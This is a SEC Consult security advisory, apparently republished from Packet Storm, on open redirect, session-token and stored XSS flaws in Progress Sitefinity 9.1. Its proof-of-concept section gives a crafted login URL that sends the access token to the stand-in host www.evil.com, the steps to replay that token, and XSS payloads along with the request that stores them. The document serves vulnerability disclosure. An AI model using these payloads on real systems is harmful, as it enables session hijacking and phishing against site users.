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Siddhartha TripathyPACKETSTORM:143894HistoryAug 23, 2017 - 12:00 a.m.
Progress Sitefinity 9.1 XSS / Session Management / Open Redirect
2017-08-2300:00:00
Siddhartha Tripathy
packetstormsecurity.com
114
`SEC Consult Vulnerability Lab Security Advisory < 20170822-0 >
=======================================================================
title: Multiple vulnerabilities
product: Progress Sitefinity
vulnerable version: 9.1
fixed version: 10.1
CVE number: -
impact: High
homepage: http://www.sitefinity.com | https://www.progress.com
found: 2016-10-21
by: Siddhartha Tripathy & Mingshuo Li (Office Singapore)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Progress Sitefinity is a content management and marketing analytics
platform designed to maximize the agility needed to succeed in todayas rapidly
changing digital marketplace.
It provides developers and IT teams the tools they need to support
enterprise-level digital marketing, optimizing the customer journey by
delivering seamless personalized experiences across different technologies and
devices. Progress is a trusted source for the digital marketing innovation
needed to create transformative customer experiences that fuel business
success."
Source: http://www.sitefinity.com/about
Business recommendation:
------------------------
SEC Consult recommends applying the provided patches by the vendor immediately.
Additionally, there are strong indications for further vulnerabilities and it
is highly suggested to perform a thorough security review by security
professionals to lower the risk of using this product.
Vulnerability overview/description:
-----------------------------------
1) Open Redirect Vulnerabilities
Several scripts of Sitefinity are vulnerable to an open redirect. This
vulnerability allows an attacker to redirect the victim to any site by using a
manipulated link (e.g. a manipulated link in a phishing mail, forum or a
guestbook). The redirection target could imitate the original site and might
be used for phishing attacks or for running browser exploits to infect the
victimas machine with malware. Because the server name in the manipulated link
is identical to the original site, phishing attempts have a more trustworthy
appearance.
In the first instance of this vulnerability, the open redirect will forward
an authentication token to the attacker controlled site, which can be abused
by the attacker to initiate new sessions for the affected user.
2) Broken Session Management
During the authentication process, Sitefinity creates an authentication token
"wrap_access_token", which is further used as a GET parameter to initiate a
valid session if the supplied credentials have been verified to be correct.
Transporting this token as GET parameter causes unnecessary exposure of the
sensitive token, as it might end up in proxy or access logs.
Furthermore, this token is not tied to the session ID and can be used to
generate new valid sessions for the user, even if the initial session has been
terminated by the user. The token will also survive a password change (e.g. if
the user suspects misuse of his account) and can still be used to initiate new
sessions. During the timeframe of testing, no expiry of the token could be
observed. The wrap_access_token can thus be seen as a "Kerberos golden ticket"
for Sitefinity.
3) Permanent Cross-Site Scripting
Multiple scripts do not properly sanitize/encode user input, which leads to
permanent cross site scripting vulnerabilities. Furthermore, the web
application allows users to upload HTML files, which are provided via the same
domain, allowing an authenticated attacker to access arbitrary information and
execute arbitrary functions of Sitefinity on behalf of other users. These
vulnerabilities can be used by attackers to circumvent segregation of duties.
Proof of concept:
-----------------
1a) Open Redirection with Access Token
On the Sitefinity login site, the "realm" parameter will point the user to the
actual location, once the user authenticates successfully. The parameter must
start with the actual URL "http://www.example.com" to act as a valid
destination. However, the filter can be circumvented by appending the at
symbol ("%40", @) followed by an attacker controlled host name (e.g.
"www.evil.com"). In this case, the original URL will be forwarded to the
attacker controlled host as username.
Successfully authenticating with the below URL will forward the victim to the
attacker controlled host "www.evil.com"
===============================================================================
http://www.example.com/Sitefinity/Authenticate/SWT?realm=http:%2f%2fwww.example
.com%40www.evil.com%2f&redirect_uri=%2fsitefinity%2f&deflate=true
===============================================================================
This vulnerability will not only redirect the user to arbitrary websites, but
Sitefinity will also transmit the parameter "wrap_access_token" as GET
parameter to the request. After successful authentication, the following
request will be made to the attacker controlled host:
===============================================================================
GET /sitefinity/?wrap_deflated=true&wrap_access_token=vZPPbtd[...]AQ%3d%3d&wrap
_access_token_expires_in=3600 HTTP/1.1
===============================================================================
The access token can be used by the attacker to create a valid session with
Sitefinity for the victim user, by appending the obtained wrap_access_token to
the following request:
===============================================================================
http://www.example.com/sitefinity/?wrap_deflated=true&wrap_access_token=vZPPbtd
[...]AQ%3d%3d&wrap_access_token_expires_in=3600
===============================================================================
Furthermore, the wrap_access_token remains valid for an extended time (more
than 24 hours during the test period) and can be used to create new sessions
for the affected user even after the initial session was terminated by logging
out or after the credentials have been changed (refer to vulnerability (2))
1b) Open Redirection in the sign-out URL
The parameter "ReturnUrl" of the sign-out function is vulnerable to open
redirect. Calling the following request will redirect the victim user to an
attacker controlled site after confirming the logout:
===============================================================================
http://www.example.com/sitefinity/signout/selflogout?ReturnUrl=//www.evil.com
===============================================================================
2) Broken Session Management
After successful authentication, the following request including the parameter
access_wrap_token will be made to the Sitefinity server:
===============================================================================
GET /sitefinity/?wrap_deflated=true&wrap_access_token=vZPPbtd[...]AQ%3d%3d&wrap
_access_token_expires_in=3600 HTTP/1.1
===============================================================================
3a) Permanent Cross-Site Scripting in the Content Management Template Configuration
In the Sitefinity content management area, there is a text box where users can
insert text/html content. The user supplied input is not properly sanitized /
encoded and executed in the context of Sitefinity. A simple proof-of-concept
is provided below:
===============================================================================
<img alt="" src=x onerror=alert(document.cookie) />
<svg/onload=prompt(1)>
===============================================================================
The following PUT request is used to persist the JavaScript/HTML code:
===============================================================================
PUT /Sitefinity/Services/DynamicModules/Data.svc/00000000-0000-0000-0000-000000
000000/?itemType=Telerik.Sitefinity.DynamicTypes.Model.TemplateConfiguration.Te
mplateconfiguration&providerName=OpenAccessProvider&managerType=Telerik.Sitefin
ity.DynamicModules.DynamicModuleManager&provider=OpenAccessProvider&workflowOpe
ration=Publish HTTP/1.1
Host: www.example.com
Cookie: [...snip...]
Connection: close
{"Item":{"__type":"Templateconfiguration:Telerik.Sitefinity.DynamicTypes.Model.
TemplateConfiguration","ApprovalWorkflowState":{"PersistedValue":"","Value":""}
,"Author":null,"AvailableLanguages":[],"DateCreated":"\/Date(1475201660265)\/",
"Distance":0,"EmailContent":{"PersistedValue":"<img alt=\"\" onerror=\"alert(1)
\" src=\"x\" />","Value":""},"EmailSubject":{"PersistedValue":"","Value":""},"E
xpirationDate":null,"IncludeInSitemap":"true","IsDeletable":false,"IsEditable":
false,"ItemDefaultUrl":{"PersistedValue":"","Value":""},"[...snip...]
===============================================================================
3b) Permanent Cross-Site Scripting via File Upload
The Sitefinity content management area provides file upload functionality to
the users. A user can upload related documents to the website. The application
also supports uploading of HTML files. These HTML files are later displayed in
the same domain as the Sitefinity application, which allows JavaScript code
embedded in the HTML file to access arbitrary information and functionality of
Sitefinity users viewing this crafted HTML file.
3c) Permanent Cross-Site Scripting in the New User Creation form
In the Sitefinity content management area an Administrator can create new
users. In the New User Creation Page some parameters such as "Last name",
"First name", and "About" are vulnerable to cross site scripting attacks. An
attacker can inject malicious JavaScript payloads directly via the user
interface.
Vulnerable / tested versions:
-----------------------------
The following version of Progress Sitefinity has been tested which was the most
recent version at the time of discovery: 9.1
Vendor contact timeline:
------------------------
2016-10-21: Contacting vendor through support, requesting encrypted
communication
2016-10-25: Support team provides contact of Sitefinity Product Management
2016-10-25: Sending unencrypted advisory to Sitefinity Porduct Management
as requested by vendor
2016-10-27: Vendor confirmed to "release a patch early next week" for the
Open Redirect issues and XSS to be fixed in version 9.3 and 10.0.
2016-11-02: Vendor sugguested mitigation on Broken Session Management.
2017-03-14: Vendor releases version 10.0.
2017-04-26: Vendor confirmed to implement XSS sanitizer in version 10.1.
2017-04-27: Vendor confirmed Broken Session Management to be fixed in 10.0.
2017-07-10: Vendor releases version 10.1.
2017-08-22: Public release of security advisory
Solution:
---------
According to the vendor, all the identified issues have been fixed in
version 10.1.
Please update to the latest version immediately.
Vendor release notes: http://www.sitefinity.com/product/version-notes
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF S. Tripathy, M. Li / @2017
`